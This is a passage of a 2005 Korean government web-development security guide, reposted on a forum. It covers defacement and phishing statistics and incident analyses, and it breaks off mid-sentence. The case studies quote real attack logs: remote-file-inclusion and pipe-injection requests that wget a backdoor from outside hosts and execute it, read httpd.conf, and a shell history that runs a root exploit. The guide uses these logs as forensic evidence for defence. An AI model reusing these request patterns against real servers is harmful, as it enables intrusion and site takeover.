강좌

HOME > 강좌 >
강좌| 리눅스 및 오픈소스에 관련된 강좌를 보실 수 있습니다.
 
홈페이지 개발 보안 가이드
조회 : 6,679  


홈페이지 개발 보안 가이드
2005. 4.
발 간 사
홈페이지 서버는 개인들도 보유할 정도로 보급이 확산되고 있고, 그 중요도도
나날이 증가하고 있습니다. 하지만, 올해 초 해외 해커 그룹에 의해 수 천 개의
국내 홈페이지가 해킹 당하는 등 홈페이지 서버는 해커들의 주요 공격
대상이 되고 있습니다.
홈페이지 해킹으로 인한 피해도 초기화면 변조 또는 파괴, 홈페이지 서버를
경유한 내부 시스템으로의 침투, 고객 정보 유출 등 대단히 다양하고 심각할
수 있습니다. 홈페이지 해킹 사고는 개인이나 기업의 문제만이 아니라 홈페
이지가 정보화의 기반요소로 자리 매김 해 가고 있는 시점에서 국가 정보화의
진전을 저해할 수 있는 걸림돌로 작용할 수 있습니다.
한국정보보호진흥원에서는 홈페이지 변조사고 예방 및 대응을 위해 홈페
이지 서버 관리자 교육, 홈페이지 주요 취약점 및 대처요령 언론 홍보, 주요
공격 국가에 공격 중지 요청 등 다각적인 노력을 기울여 왔습니다.
또한, 최근의 대규모 홈페이지 변조사고의 주요 원인이 홈페이지 개발과정의
보안 취약점에 있음을 감안하여 저희 한국정보보호진흥원에서는 홈페이지
개발 실무자 및 홈페이지 서버 운영자들이 안전하게 홈페이지를 구축할 수
있도록 『홈페이지 개발 보안 가이드』를 발간하게 되었습니다.
이 가이드는 개발과정에서 발생될 수 있는 보안 취약점에 대한 상세 설명과
함께 주요 홈페이지 개발 언어별로 안전한 코드 예를 제공함으로써 홈
페이지 개발자 및 운영자들이 홈페이지 보안 강화에 실질적인 도움이 될 수
있으리라 생각하며, 본 가이드에 대해 많은 조언과 자문을 주신 분들께 깊이
감사 드립니다.
2005년 4월
한국정보보호진흥원
원장 이 홍 섭
이 보고서는 국내 홈페이지 변조사고의 감소를 목적으로 한국정보보호진
흥원 인터넷침해사고대응지원센터 해킹대응팀 연구원들이 참여하여 작성
하였으며, 국내 웹 보안 및 웹 애플리케이션 전문가들의 많은 조언이
있었습니다.
2005년 4월
사업 책임자 : 본 부 장 김우한(책임연구원)
연구 책임자 : 팀 장 성재모(선임연구원)
참여 연구원 : 정현철(선임연구원)
김영직(연구원)
외부 전문가 : 가성호(보안컨설턴트)
김경신(보안컨설턴트)
감 수 : 웹호스팅기업협회
김옥중(웹개발전문가)
정문수(보안컨설턴트)
목 차
개 요
제 1절 개 요 ····················································································· 1
제 2절 정보보호를 고려한 홈페이지 구축의 필요성 ······················ 4
홈페이지 해킹 현황 및 사례
제 1절 국내 홈페이지 해킹현황 ······················································ 6
1. 홈페이지 변조 현황 ································································ 6
2. 피싱사고 현황 ········································································· 7
제 2절 국내 홈페이지 해킹사례 ···················································· 10
1. 제로보드 취약점 피해 사례 ·················································· 10
2. 테크노트 취약점 피해사례 ···················································· 13
3. 피싱 사고 피해사례 ······························································ 17
홈페이지 개발시 보안 취약점 및 대책
제 1절 접근통제 취약점 ································································· 27
제 2절 부적절한 파라미터 ····························································· 37
제 3절 취약한 세션 관리(Cookie Injection) ·································· 43
제 4절 악의적인 명령 실행(XSS) ··················································· 52
제 5절 버퍼 오버플로우 ································································· 60
제 6절 악의적인 명령어 주입 공격 (SQL Injection) ···················· 69
제 7절 업로드 취약점 ····································································· 77
목 차
제 8절 다운로드 취약점 ································································· 89
제 9절 개발 보안 관리 ··································································· 95
제10절 부적절한 환경설정 (서버 설정관련) ································ 104
주요 애플리케이션 보안 대책
제 1 절 주요 웹 애플리케이션 보안 대책 ·································· 118
1. 제로보드 ··············································································· 118
2. 테크노트 ··············································································· 119
3. 그누보드 ··············································································· 120
제 2 절 주요 데이터베이스 보안 대책 ········································ 122
1. MySQL ················································································· 122
2. MS-SQL ················································································ 124
3. Oracle ··················································································· 127
결 론
참고자료 ········································································································· 146
[부록1] 개발 언어별 로그인 인증 프로세스 예제 ······································· 147
[부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) ·································· 156
[부록3] 개인정보의 기술적․관리적 보호조치 기준(안) ································· 159
[부록4] 웹 보안관련 주요 사이트 리스트 ···················································· 162
표 차례
(표 2-1) 루트킷 환경설정 파일 ······································································· 20
(표 3-1) 특수문자 변경 ··················································································· 56
(표 3-2) 설정별 제공되는 헤더 정보 ···························································· 112
(표 4-1) MySQL 마스터 데이터베이스 테이블들의 기능 ···························· 123
(표 4-2) MS-SQL 서비스 팩 다운로드 사이트 ············································· 127
(표 4-3) Oracle DB 디폴트 사용자 계정 및 암호 ······································· 131
(표 4-4) 패키지별 보안 발생가능 문제점 ··················································· 133
목 차
그림 차례
(그림 1-1) 국내 홈페이지 변조 건수 ································································ 1
(그림 1-2) 정보시스템 개발 단계별 비용 절감 효과 ······································ 5
(그림 2-1) 일자별 홈페이지 변조 건수 ···························································· 7
(그림 2-2) 국내 피싱 사이트 악용 사고 건수 ················································· 8
(그림 2-3) netstat를 이용한 백도어 포트 확인 ·············································· 11
(그림 2-4) 삭제된 백도어 프로그램 확인 ······················································· 12
(그림 2-5) 공격 프로그램에 의한 CPU 점유 ················································· 13
(그림 2-6) 변조된 홈페이지 화면 ··································································· 14
(그림 2-7) 미국 ebay사 위장 사이트(피싱 사이트) ······································· 17
(그림 2-8) E-mail을 통해 전달된 금융정보 ··················································· 24
(그림 3-1) 관리자 페이지 인증을 우회한 화면 ·············································· 28
(그림 3-2) IP 주소별 접근제한 ······································································· 31
(그림 3-3) Argument 변조를 통한 명령 실행 ··············································· 38
(그림 3-4) 제3자의 Cookie 정보 탈취 ···························································· 52
(그림 3-5) 사용자 입력 부분에 악성코드 삽입 ·············································· 53
(그림 3-6) 수집된 Cookie 인증 정보 ····························································· 54
(그림 3-7) 악의적인 SQL Query문 삽입 ························································ 70
(그림 3-8) 게시판에 악성 스크립트 파일 업로드 ·········································· 78
(그림 3-9) 웹 서버 권한으로 시스템 명령어 실행 ········································ 78
(그림 3-10) IIS 보안 설정 ············································································· 80
(그림 3-11) 상대경로를 이용한 시스템 설정파일 다운로드 ·························· 90
(그림 3-12) .inc, .lib 확장자를 웹 사이트에서 처리하도록 설정 ·················· 99
(그림 3-13) 백업 파일 노출로 인한 소스 코드 열람 ··································· 105
(그림 3-14) 디렉토리 구조 노출 ··································································· 106
(그림 3-15) phpinfo 정보 ·············································································· 107
(그림 3-16) 관리자 history 파일 내용 ·························································· 108
(그림 3-17) Error Message 숨기기 ······························································· 115
(그림 4-1) MS-SQL Server 인증 방식 변경 ················································· 125
(그림 4-2) sa 계정의 패스워드 변경 ···························································· 125
(그림 4-3) 별도 계정 생성 후 데이터베이스 연결 ······································· 126
(그림 4-4) xp_cmdshell 프로시저 제거 ························································ 126
목 차
CD 컨텐츠
◦ 공개용 웹 점검 프로그램
- nikto
- webscarab
- whisker
◦ 웹 서버 보안 관리 가이드
- 웹 서버 보안 관리 가이드.pdf
◦ 홈페이지 개발 보안 가이드
- 홈페이지 개발 보안 가이드.pdf
◦ 홈페이지 개발 보안 가이드 프로그램 소스
- 홈페이지 개발 보안 가이드 프로그램 소스.txt
1
제1 절 개 요
2004년 연말부터 국내 홈페이지 변조사고가 급속히 증가하고 있는데, 지난
2004년 12월 22일에서 2005년 2월 1일 사이에 변조된 국내 홈페이지는 무려
7,000여개로써 지난 2004년 월평균 변조 건수인 401건과 비교해 급격히 증가
한 것을 알 수 있다.
출처:www.krcert.or.kr
(그림 1-1) 국내 홈페이지 변조 건수
38
280 127 339 337 172 262 423
709
335
756
1,034
6,478
0
1000
2000
3000
4000
5000
6000
7000
2004.1. 2004.2. 2004.3. 2004.4. 2004.5. 2004.6. 2004.7. 2004.8. 2004.9. 2004.10. 2004.11. 2004.12. 2005.1.
홈페이지 변조 피해업체는 대부분 한 서버에서 다수의 웹 사이트를 관리
하는 중소규모의 웹 호스팅 업체들로서, 웹 호스팅 서버에는 한 대의 시스템
에 수십∼수백 개의 소기업 또는 개인 홈페이지가 운영되고 있어 이들 홈페
이지 중 하나만 해킹을 당하더라도 서버내의 모든 홈페이지가 변조되거나
삭제될 수 있는 문제가 있다.
대부분의 홈페이지 변조 공격은 해외 해커그룹에 의해 이루어지고 있으며,
이 중 약 80%가 브라질 해커그룹에 의해 발생되었다.
제1장 개 요
2
홈페이지는 단순한 홍보 목적뿐만 아니라 사이버공간에서 상거래를 위한
주요 수단으로 자리 매김하고 있고, 내부 DB와 연동되어 다수의 고객 정보
를 보유하고 있다. 이러한 홈페이지의 변조는 피해기관에게 금전적인 손실을
야기 시킬 수 있을 뿐만 아니라 국가 위상까지 저하시킬 수 있다.
최근 홈페이지 변조사고의 원인은 대부분 국내 공개 게시판인 제로보드
등 PHP 기반 애플리케이션의 보안 취약점으로 확인되고 있다. 지난 연말 이
후 해외 주요 보안 사이트에 국내 웹 애플리케이션의 보안 취약점이 알려지
면서 국외 해커들에 의한 국내 홈페이지 변조사고가 급속히 증가하였다. 특
히, 최근 PHP Injection이라고 불리우는 공격방법에 의해 많은 공격이 이루
어지고 있다. PHP Injection은 PHP에서 제공하는 http 또는 ftp 프로토콜을
통한 외부 사이트의 소스를 실행할 수 있는 기능을 이용하여 공격자는 피해
업체 서버에서 임의의 명령실행이나 공격도구를 설치할 수 있는 공격 방법
이다.
웹 애플리케이션의 보안취약점을 이용한 해킹사고의 증가는 Symantec사
의 「Internet Security Threat Report(2004년 9월)」에서도 확인할 수 있다.
이 보고서에서는 2004년 상반기에 공격자가 가장 선호한 공격 포트는 80
번(웹 서비스)이며, 이는 전체 공격 포트 중 30%를 차지한다고 지적하였다.
이 수치는 2003년 하반기에 비해 10% 정도 증가한 것으로 홈페이지에 대한
공격의 증가를 확인할 수 있다.
또한, 2004년 상반기에 발표된 신규 취약점 중 479개의 취약점(전체 취약
점 수의 38.7%)이 웹 응용 프로그램과 관련되어 있어, 2003년 하반기의 31%
보다 8%가량 증가하였다. 즉 최근 웹 애플리케이션의 보안 취약점이 많이
발견되고 있고, 이들을 공격하기 위한 웹 포트로의 공격도 크게 증가하고 있
음을 알 수 있다.
3
안전한 홈페이지 서버를 구축하기 위해서는 네트워크, 호스트, 어플리케이
션 등 각 계층에서 보호할 수 있는 다단계적인 보안 접근법(Defense-
In-Depth)이 요구된다. 각 계층에 걸쳐서 정보보호의 위협을 평가하고 이에
따른 대책을 정의하여야 한다.
본 가이드에서는 최근 대부분의 홈페이지 변조사고의 원인이 게시판 등
웹 애플리케이션 자체의 보안 취약점에 있으므로, 웹 애플리케이션의 보안
보안대책을 중점적으로 다루고자 한다.
본 가이드는 홈페이지 개발자가 자체적으로 웹 애플리케이션이나 웹 컨텐
츠를 개발할 때 활용할 수 있으며, 홈페이지 운영자가 주요 공개 웹 애플리
케이션의 취약점 정보를 파악함으로써 안전한 운영을 하는데도 활용할 수
있을 것이다.
제2장에서는 홈페이지 변조 현황과 사고 사례를 소개함으로써 국내 홈페
이지 변조의 피해 규모와 세부 분석 결과를 살펴본다.
제3장에서는 홈페이지 개발 시 발생될 수 있는 대표적인 10가지의 보안
취약점과 그 대책에 대해 설명한다. 여기서는 각 취약점에 대한 구체적인 설
명과 이 취약점을 확인할 수 있는 방법 그리고, PHP, ASP, JSP 등 주요 웹
개발 언어별 안전한 코딩 예를 제시하도록 한다.
제4장에서는 국내 홈페이지 구축시에 많이 사용되는 게시판, DB 등 웹 관
련 프로그램들의 보안 취약점과 그에 대한 대책을 살펴보도록 한다.
제1장 개 요
4
제2 절 정보보호를 고려한 홈페이지 구축의 필요성
홈페이지 서버를 포함한 정보시스템의 정보보호를 제공하는 방법은 일반
적으로 추가(Add-on) 방식과 내장(embedded) 방식의 두 가지 방법이 있다.
추가 방식은 정보시스템의 설계 또는 구축 이후에 정보보호 제품이나 정
보보호 시스템을 추가 구현하는 방식이다. 홈페이지 서버 보안을 위해서도
웹 방화벽과 같은 추가적인 보안장비를 도입하는 것이 추가방식이라 할 수
있다. 이 방법은 정보보호 요구사항이 시스템 설계에 충분히 반영되지 않았
을 경우 적용할 수 있는 방법이지만 정보보호 제품과 정보 시스템 간의 상
호운용성 문제로 정보보호 제품 및 운영 중인 정보시스템의 변경이 요구되
는 등 성능 및 비용 측면에서 비효율성이 야기될 수 있는 문제점이 있다. 하
지만 이미 구축되어 있는 많은 웹 서버가 보안이 고려되지 않았으며 최근
공격대상이 웹 서버에 집중되고 있는 점을 고려한다면 추가방식에 의한 웹
보안도 고려할 만 하다.
둘째, 내장 방식은 정보시스템 계획 단계에서부터 정보보호 요구사항을 파
악하여 정보시스템 분석 및 설계에 정보보호 기능을 구현하는 방식으로, 초
기에는 정보보호 요구사항 파악 및 기능 구현을 위한 시간과 노력이 요구되
나 다른 정보시스템 기능과 원활한 상호운용성을 제공할 수 있어 결과적으
로 비용효과적인 방식이라 할 수 있다.
많은 웹 개발자들은 홈페이지를 구축할 때 효율성 및 편의성에 치중하여
설계․구축 단계에서 정보보호를 고려하지 못하고 있다. 또한, 홈페이지의
특성상 외부에 공개될 수 밖에 없고, 일반적인 침입차단시스템에 의해서 보
호받지 못하고 있어 최근 많은 해킹사고가 발생되고 있다. 해커에 의해서 뿐
아니라 업체의 모의해킹시에 주요 공격 대상이 되고 많은 취약점이 발견되
는 곳이 홈페이지 서버이다.
5
이미 구축되어 있는 홈페이지 서버의 보안취약점을 수정하는 것은 기존의
운영되고 있는 서비스에 영향을 미칠 수 있을뿐만 아니라 많은 비용이 수반
될 수밖에 없다.
정보보호 전문가에 의하면 추가 방식이 내장 방식에 비하여 10배의 추가
비용이 발생하는 것으로 나타났으며(Woods, 1996), MIT 경제학자 Hoo et
al.(2001)의 연구에서도 정보시스템 개발 초기부터 정보보호 요구사항을 반영
하면 유지 보수 과정의 많은 비용을 절감할 수 있는 것으로 나타났다. 특히,
Hoo et al.(2001)의 연구는 정보보호 투자 수익율(Return On Security
Investment)을 밝히기 위해 정보시스템 개발의 각 단계에서 정보보호 취약성
을 수정하는데 드는 비용의 절감 효과를 측정한 것으로, 연구 결과 아래 그
림과 같이, 정보시스템 개발의 각 단계 중 설계 단계에서 정보보호가 고려될
경우 21%, 구현 단계에서는 15%, 시험 단계에서는 12%의 비용이 절감될 수
있음이 실증적으로 확인되었다.
(그림 1-2) 정보시스템 개발 단계별 비용 절감 효과
설계
구현
테스트
21%
15%
12%
홈페이지 서버의 경우도 이미 구축․운영되고 있는 서버에서 정보보호를
반영하기 위해서는 보다 많은 비용이 수반될 뿐만 아니라 해킹사고 발생으
로 인해 서비스 장애로 인한 영업손실, 기업 이미지 실추, 고객 정보유출 등
의 피해도 발생될 수 있음을 감안해야만 할 것이다.
제2장 홈페이지 해킹 현황 및 사례
제1 절 국내 홈페이지 해킹현황
1. 홈페이지 변조 현황
국내 홈페이지를 대상으로 한 변조사고가 2004년 12월 22일(수)부터 급
격히 증가하여 2005년 2월 1일(목)까지 7,000여개의 국내 홈페이지가 변조
되었다.
홈페이지 변조사고는 이 기간 이전에도 꾸준히 발생하고 있었지만, 특히
이 기간 내 많은 변조사고가 발생한 이유는 단 한대의 해킹으로도 많은 수
의 홈페이지가 변조되는 웹 호스팅 서버의 해킹사고가 많았기 때문이다.
업체나 개인들에게 홈페이지 서비스를 제공하는 웹호스팅 서버 대상의 대
규모 변조사고 주요원인은 중소규모의 업체나 개인 홈페이지에서 많이 사용
되는 공개용 게시판 S/W인 제로보드의 취약점 때문인 것으로 확인되었다.
이러한 홈페이지 변조사고는 제로보드 등 웹 애플리케이션의 보안 취약점
에 대한 패치를 설치하거나, PHP의 설정을 변경함으로써 막을 수 있었지만
많은 웹 호스팅 업체와 홈페이지 운영자들이 보안인식 부재와 차단방법에
대한 지식 부족 등으로 피해는 쉽게 줄어들지 않았다.
다음 그래프는 2004년 12월 22일에서 2005년 2월 1일까지 국내 홈페이지
변조 피해 현황이다.
7
(그림 2-1) 일자별 홈페이지 변조 건수
전체 변조 건 중 대부분이 2004년 12월말에서 2005년 1월 중순까지 발생
하였다. 국내 홈페이지들은 대부분 국외 해커 그룹에 의해 해킹을 당했으며,
특히, 브라질 해커그룹에 의한 해킹 피해가 심각했다.
2. 피싱사고 현황
홈페이지 서버에 대한 해킹은 단순한 화면 변조에서 그치지 않고 신종 인
터넷 금융사기 수법인 피싱(Phishing)의 경유지로 이용되기도 한다. 피싱은
개인정보(Private)와 낚시(Fishing)의 합성어로 금융기관을 사칭해 불특정 다
수의 e메일 사용자에게 신용카드나 은행계좌정보 등을 빼내 불법적으로 이
용하는 신종 인터넷금융사기이다.
2004년 KrCERT/CC로 국내 시스템을 해킹하여 피싱 사이트로 악용한 사
고로 신고된 건수는 총 220건으로, 대부분 국외의 피해기관 피싱 담당자나
국외 CERT에서 접수되었다.
우리나라의 경우, 인터넷 뱅킹 등의 금융거래 시 공인인증 및 보안카드를
사용하도록 되어 있어 피싱을 통해 금융정보가 유출되어도 실제 금융사기로
연계될 가능성은 외국에 비해 낮은 편이며, 아직까지 씨티은행, 이베이 등
제2장 홈페이지 해킹 현황 및 사례
외국 업체를 대상으로 하는 피싱이 주를 이루고 있어 우리 국민의 피해는
신고되지 않고 있다. 다만, 피싱이 사회적 이슈가 됨에 따라 국내에서도 모
방 범죄가 발생할 가능성이 높다.
※ 국내 시스템을 해킹하여 피싱 위장사이트로 악용한 사고로 KrCERT/CC로 신고된 건수임.
(그림 2-2) 국내 피싱 사이트 악용 사고 건수
2
5
2
6
0
21 22
27
43
16
36
40
0
5
10
15
20
25
30
35
40
45
건수
1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월 월
또한, 우리나라는 인터넷 발달과 웹호스팅 서비스의 활성화로 상대적으로
많은 웹 사이트가 구축․운영되고 있으나, 이에 대한 보안관리 의식은 부족
해 해킹 등에 쉽게 노출되는 상황으로, 보안취약점을 패치 하지 않거나, 서
버 설정 시 유의해야 할 보안 사항을 반영하지 않은 학교, 소규모 비영리단
체, 중소기업 등의 웹 사이트가 해킹을 당해 피싱에 이용되고 있으므로, 각
기관에서는 운영중인 시스템을 점검․보완토록 하며, 피싱 사고 발생시에 신
속한 조치를 통해 피해 확산을 조기에 차단하여야 한다.
특정업체의 위장 홈페이지를 통해 주요 개인정보를 도용하는 피싱 사고도
홈페이지 변조의 유사사례라 볼 수 있는데, 기존 대부분의 피싱 사고는
9
Windows 시스템의 취약점을 많이 이용해왔던 기존의 유형이외에도 공개용
웹 게시판 프로그램의 취약점을 이용한 사례가 최근 자주 확인되고 있다.
웹 게시판을 이용한 피싱 사고의 경우, 웹 게시판의 취약점을 이용해 시스
템에 침입한 후 PHP로 제작된 피싱 관련 홈페이지 파일을 업로드하며, 이메
일 발송을 통해 업로드 한 홈페이지 파일로의 접속을 유도한다. 위장한 페이
지를 통해 입력된 개인정보는 초기에는 해킹 당한 시스템에 파일형태로 저
장되는 방식을 사용했으나, 최근에는 해커가 사용하는 메일로 전송되는 방식
이 주로 사용되는 것으로 확인되고 있다.
제2장 홈페이지 해킹 현황 및 사례
제2 절 국내 홈페이지 해킹사례
1. 제로보드 취약점 피해 사례
2004년 1월 2일, 운영 중인 사이트가 약 1,200여 개에 달하는 국내의 웹
호스팅 서버가 브라질 해커그룹에 의하여 홈페이지가 변조되는 사고가 발생
하였다.
분석결과, 해당 서버는 현재 취약점이 존재하는 것으로 알려진 PHP 4.3버
전과 제로보드 4.14 pl4버전이 사용되고 있었다. 또한 공격을 인지하기 전까
지 php.ini 파일의 설정이 "allow_url_fopen = On" 및 register_globals =
On 으로 설정되어 있어, PHP 설정 및 제로보드 취약점 문제로 인해 피해
가 발생한 것으로 추정되었다.
웹 로그 분석을 통해 최초 공격은 2005년 1월 2일 12:56:10에
200.193.xxx.xxx(브라질)로부터 시도된 것이 확인되었으며, 원격 사이트의
PHP 파일을 로컬 시스템에서 구동시킬 수 있는 제로보드 취약점이 이용된
것을 알 수 있었다.
200.193.xxx.xxx - - [02/Jan/2005:12:56:10 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=id;%20uname%20-a;%20pwd HTTP/1.1" 200 8298
200.193.xxx.xxx - - [02/Jan/2005:13:00:18 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=cd%20/tmp;%20wget%20http://rexix.altervista.org/yc/b
d;%20chmod%20777%20bd;%20./bd HTTP/1.1" 200 8284
200.193.xxx.xxx - - [02/Jan/2005:13:02:33 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=cd%20/etc/httpd/conf;%20cat%20httpd.conf%20|%20g
rep%20ServerName HTTP/1.1" 200 8438
200.193.xxx.xxx - - [02/Jan/2005:13:03:07 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=cd%20/etc/httpd/conf;%20cat%20httpd.conf
HTTP/1.1" 200 60320
11
다음은 netstat 명령을 이용해 TCP 1666번 포트의 접속상태를 확인한 내
용이다. 해당 포트는 netstat 명령을 통해 /tmp 디렉토리에 위치한 bd라는
파일이 오픈한 것이었으나, 실행 후 해당 파일이 삭제된 것을 알 수 있었다.
[root@blue log]# netstat -na |grep 1666
tcp 0 0 0.0.0.0:1666 0.0.0.0:* LISTEN
tcp 5 0 211.239.xxx.xxx:1666 200.193.xxx.xxx:32813 CLOSE_WAIT
tcp 2 0 211.239.xxx.xxx:1666 200.193.xxx.xxx:32803 ESTABLISHED
tcp 15 0 211.239.xxx.xxx:1666 201.1.xxx.xxx:2751 CLOSE_WAIT
tcp 7 0 211.239.xxx.xxx:1666 200.151.xxx.xxx:32799 CLOSE_WAIT
--------------------------------------------------------------------
inetnum: 200.128/9
status: allocated
owner: Comite Gestor da Internet no Brasil
ownerid: BR-CGIN-LACNIC
responsible: Frederico A C Neves
address: Av. das Na寤es Unidas, 11541, 7?andar
address: 04578-000 - S? Paulo - SP
country: BR
(그림 2-3) netstat를 이용한 백도어 포트 확인
제2장 홈페이지 해킹 현황 및 사례
(그림 2-4) 삭제된 백도어 프로그램 확인
백도어 프로그램인 bd를 이용해 시스템에 접속한 후 웹 서버 권한
(nobody)의 쉘을 확보하고, 이후 로컬 취약점을 이용하여 root 권한을 획득
한 것으로 보인다. 백도어 프로그램인 bd는 15시경이후 설치되었으며, CPU
의 95%를 차지하고 있었다.
apache 3382 79.3 0.0 1440 312 ? R 13:42 488:55 ./bd
apache 3383 0.0 0.1 2168 892 ttyp0 S 13:42 0:00 sh -i
root 3482 0.0 0.1 2200 892 ttyp0 S 13:44 0:06 /bin/sh
그 외 rc 등 부팅 디렉토리와 기타 위치에서 더 이상의 악성 프로그램을
발견할 수는 없었다.
13
(그림 2-5) 공격 프로그램에 의한 CPU 점유
공격자는 제로보드의 취약점을 이용하여 nobody 권한을 획득한 후, 다시
로컬 취약점을 이용하여 root 권한을 획득하고, 이 후 1,200여개의 웹 사이트
초기화면을 변조한 사건이었다.
2. 테크노트 취약점 피해사례
2004년 10월 28일, 17개 사이트에 대해 웹호스팅 서비스를 제공하고 있던
국내 리눅스 서버가 브라질 해커그룹에 의해 홈페이지가 변조되는 사고가
발생하였다.
해당 홈페이지 서버를 변조시킨 「int3rc3pt0r」라는 해커그룹은 한국의
서버를 대상으로 많은 사고를 일으키고 있는 브라질 해커 그룹으로서 2004
제2장 홈페이지 해킹 현황 및 사례
년 10월 한달 동안에 200개의 국내 홈페이지를 변조한 것으로 확인되었으며,
해당 서버를 분석한 결과, 웹호스팅 고객이 운영중인 한 사이트에서 사용되
고 있던 테크노트의 취약점을 이용해 시스템에 침입, 홈페이지를 변조한 것
으로 확인되었다.
(그림 2-6) 변조된 홈페이지 화면
테크노트 구성파일 중 업로드와 다운로드 시 사용되는 CGI 프로그램에서
관련 URL을 체크하지 않아 시스템 명령이 실행 될 수 있는 취약점을 이용
해 먼저 국외의 사이트에 저장시켜 놓은 백도어 프로그램을 해당 피해시스
템에 업로드 시키고, 백도어 파일의 실행권한 부여와 실행을 통해 피해시스
템에 백도어를 오픈 하였다.
15
201.9.xxx.xxx - - [28/Oct/2004:10:59:45 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|wget%20-P%20/tmp%
20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 "-" "Mozilla/4.0 (compatible;
MSIE 5.0; Windows 98; DigExt)"
→ 백도어 파일 업로드
201.9.xxx.xxx - - [28/Oct/2004:11:00:10 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd
%20/tmp;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1" 200 5 "-" "Mozilla/4.0 (compatible;
MSIE 5.0; Windows 98; DigExt)"
→ 백도어파일 권한변경 및 실행
201.9.xxx.xxx - - [28/Oct/2004:11:00:20 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd
%20/tmp;ls| HTTP/1.1" 200 3514 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
→ 백도어 파일 설치여부 확인
201.9.xxx.xxx - - [28/Oct/2004:11:00:53 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|wget%20-P%20/var/tm
p/%20http://members.aol.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 "-" "Mozilla/4.0
(compatible; MSIE 5.0; Windows 98; DigExt)"
→ 백도어 파일 업로드 재시도
201.9.xxx.xxx - - [28/Oct/2004:11:01:17 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20/var/
tmp/;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1" 200 69 "-" "Mozilla/4.0 (compatible;
MSIE 5.0; Windows 98; DigExt)"
→ 백도어파일 권한변경 및 실행
그 후, 생성한 백도어를 통해 피해시스템에 접속한 후 root 권한 획득을
위해 wget을 사용해 로컬 취약점 공격프로그램을 다운로드 받은 후 실행하
여 root 권한을 획득하였다.
웹 로그 부분과 시스템의 last 로그를 통해 침입한 IP는 201.9.xxx.xxx으로
확인되었으며, Whois 조회를 통해 브라질 IP임을 알 수 있었다.
제2장 홈페이지 해킹 현황 및 사례
[root@xxx tmp]# ls -alct
total 468
drwxr-xr-x 19 root root 4096 Oct 29 12:38 ..
drwxrwxrwt 2 root root 4096 Oct 29 04:05 .
-rw------- 1 www www 234 Oct 28 12:34 .bash_history
-rwxrwxrwx 1 www www 446714 Oct 28 11:04 brk2
→ 로컬취약점 공격툴
-rwxrwxrwx 1 www www 10927 Oct 28 11:01 rootedoor
→ 백도어 프로그램
[root@xxx tmp]# more .bash_history
w
cd tmp
wget
ls
uname -a
locate httpd.conf
locate httpd.conf
find / -name httpd.conf
wget http://www.xxxxxxx.com.br/brk2
chmod 777 brk2.htm
./brk2.htm
chmod 777 brk2
./brk2
cp brk2 /var/tmp
cd ..
cd ..
cd /var/tmp
./brk2
bash-2.05a$ id
uid=502(abcd) gid=502(abcd) groups=502(abcd) → 일반 사용자 권한 접속상태
bash-2.05a$ cd /var/tmp
bash-2.05a$ ./brk2
id
sh-2.05a# id
uid=0(root) gid=0(root) → 해킹툴 실행후 루트권한으로 변경됨
sh-2.05a#
inetnum: 201.0/12
status: allocated
owner: Comite Gestor da Internet no Brasil
ownerid: BR-CGIN-LACNIC
responsible: Frederico A C Neves
address: Av. das Naes Unidas, 11541, 7° andar
address: 04578-000 - San Paulo - SP
country: BR
17
3. 피싱 사고 피해사례
2005년 2월 해외로부터 국내 A사 홈페이지 서버에 미국 ebay사의 위장
페이지가 서비스되고 있다는 통보를 받고 해당 사이트에 대한 확인작업에
들어갔다.
(그림 2-7) 미국 ebay사 위장 사이트(피싱 사이트)
이 사이트는 신고 접수된 시간에도 피싱관련 페이지가 열려져 있는 상태
였으며, 아래와 같이 “.4z1z3"라는 디렉토리를 새로 만들어 피싱 관련 페이
지를 만들어 놓았었다.
제2장 홈페이지 해킹 현황 및 사례
http://xxx.xxx.xxx.xxx/.4z1z4/.ssl/html/ebay/http_eBay.comdone-7E-20secure-7EaSSL-7Ear
estricted_activations_contine_verify_admin_security_ebay_SSLSECUREDaeBayaEchecka
EsecaccountID_har263748fusersecrbay4.htm
하지만, 공격자가 홈페이지 초기화면을 변조하는 등의 행위를 하지 않고
“.4z1z3"와 같은 디렉토리를 만들어 피싱에 이용하고 있어 홈페이지 관리자
가 해당 사실을 인지하기 힘들었다.
□ 피해 현황 및 공격 원인 분석
피해시스템 관리자와 연락을 취한 결과, 관리자가 분석의뢰 요청함에 따라
분석을 시작하였다. 피해시스템은 서버 호스팅 업체에서 IDC에 설치해 놓은
서버로서 서버 임대를 통해 홈페이지 서버로 사용하고 있었다. 현장 도착
시, 해당 시스템은 해킹으로 인한 악성 트래픽 발생 가능성으로 인해 호스팅
업체에서 네트워크 케이블을 분리한 상태였으므로, 콘솔 상에서 사고 분석을
진행하였다.
피해 시스템은 Linux 7.1, Apache 1.3.19, PHP 4.3.1 환경을 사용하고 있었
